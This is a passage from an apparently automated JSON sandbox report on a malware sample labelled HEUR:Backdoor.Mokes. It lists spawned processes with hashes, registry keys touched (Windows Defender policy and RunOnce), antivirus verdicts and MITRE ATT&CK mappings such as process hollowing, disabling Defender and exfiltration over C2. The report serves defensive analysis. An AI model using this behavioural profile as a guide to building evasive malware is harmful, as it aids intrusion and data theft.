},{"command_line":"","name":"2Zz0679.exe","normalized_path":"%TEMP%\\IXP005.TMP\\2Zz0679.exe","parent_uid":"00000000-00005824","pid":7244,"ppid":5824,"sha256":"39d2a360d81cc178fe899ccc1ff51a5c8fdd9ac837692f8ceefb5ee2942811ca","uid":"00000000-00007244"},{"command_line":"","name":"AppLaunch.exe","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe","parent_uid":"00000000-00007244","pid":5520,"ppid":7244,"sha256":"cfa7d98ad44c7fb11de5ff07da04f8fd4a3423564de05f87ba5e10bd13a1fe59","uid":"00000000-00005520"},{"command_line":"","name":"3Ix70mE.exe","normalized_path":"%TEMP%\\IXP004.TMP\\3Ix70mE.exe","parent_uid":"00000000-00007144","pid":7200,"ppid":7144,"sha256":"028e143a3d33d32d59b1f973cbf59091c027b05c7de7e3d09247a3372e327585","uid":"00000000-00007200"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS DEFENDER\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER SECURITY CENTER\\NOTIFICATIONS\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER SECURITY CENTER\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS DEFENDER\\FEATURES\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}],"keys_deleted":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\WEXTRACT_CLEANUP5\\WEXTRACT_CLEANUP5","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}],"keys_modified":[]},"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"analysis_start_time":"2023-10-29T07:16:29+00:00","contacted_countries":["RUS"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"653e0369fc7ec753250ee4b0","indicators_count":{"informative":160,"malicious":13,"suspicious":49},"is_in_unified_schema":true,"malware_family":"HEUR:Backdoor.Mokes","state":"SUCCESS","submit_name":"file","tags":["Multi-Process","Network Traffic","Extracted Files"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":1,"contacted_urls_count":1,"dns_resolutions_count":0,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":13,"files_deleted_count":0,"files_written_count":12,"http_requests_count":1,"imported_dlls_count":63,"injected_processes_count":0,"mutex_created_count":2,"process_count":11,"registry_keys_created_count":8,"registry_keys_deleted_count":1,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":9,"script_calls_count":0,"spawned_processes_count":11}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"Malware"}]},"av_detections":{"engines":{"aegislab":{"data_source":"MetaDefender","name":"AegisLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Dropper/Win.Generic.X2198","verdict":"malicious"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"TR/AD.Nekark.deeab","verdict":"malicious"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"comodo":{"data_source":"MetaDefender","name":"Comodo","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"cylance":{"data_source":"MetaDefender","name":"Cylance","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware","verdict":"malicious"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"kaspersky":{"data_source":"MetaDefender","name":"Kaspersky","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"mcafee":{"data_source":"MetaDefender","name":"McAfee","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trendmicro":{"data_source":"MetaDefender","name":"Trend Micro","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trendmicrohousecall":{"data_source":"MetaDefender","name":"Trend Micro HouseCall","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"W32/Kryptik.JKR.gen!Eldorado","verdict":"malicious"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"webrootsmd":{"data_source":"MetaDefender","name":"Webroot SMD","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware","verdict":"malicious"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"}}},"incidents":[{"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"details_count":3,"name":"Persistence","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Contains ability to retrieve information about the current system"}],"details_count":4,"name":"Fingerprint","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"details":[{"detail":"Marks file for deletion"},{"detail":"Tries to disable Windows defender Anti Spyware"},{"detail":"Tries to disable Windows defender via registry"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"details_count":5,"name":"Evasive","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"details_count":3,"name":"Spyware","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Hollowing"},{"attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call"},{"attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Debugger Evasion"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Tries to disable Windows defender via registry"},{"type":"malicious","value":"Tries to disable Windows defender Anti Spyware"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify Tools"},{"attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Data Staging"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"malicious","value":"Requested access to a critical system service"},{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Execution","technique":"Service Execution"},{"attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder"},{"attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal from Tools"},{"attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Impact","technique":"Service Stop"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Persistence","technique":"Boot or Logon Autostart Execution"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Collection","technique":"Screen Capture"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Persistence","technique":"Create or Modify System Process"},{"attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"malicious","value":"Modifies Windows Auto-Updates feature"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Modify Registry"},{"attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hidden Window"},{"attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Time Based Evasion"},{"attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Software Packing"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Time Discovery"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal"},{"attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Reflective Code Loading"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"suspicious","value":"Requested access to a system service"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Lateral Tool Transfer"},{"attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hide Artifacts"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Symmetric Cryptography"},{"attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"tactic":"Impact","technique":"System Shutdown/Reboot"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Contains ability to modify processes thread functionality"},{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the 